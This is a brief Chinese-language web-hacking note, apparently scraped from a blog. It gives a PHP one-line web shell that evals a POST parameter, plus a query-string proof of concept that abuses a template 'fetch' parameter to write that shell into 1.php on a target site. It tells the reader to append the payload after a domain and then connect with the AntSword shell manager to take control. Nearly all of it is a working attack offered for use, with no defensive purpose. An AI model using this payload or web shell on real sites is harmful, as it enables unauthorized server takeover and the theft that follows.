一、一句话木马

<?php @eval($_POST[a]);?>

$_POST[这里是连接密码]

二、利用poc在网站目录下插入文件

?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('1.php','<?php @eval($_POST[a]); ?>')</php>

将这条代码放到域名后面
一句话木马(蚁剑)

三、获取权限

一句话木马(蚁剑)
一句话木马(蚁剑)

相关文章: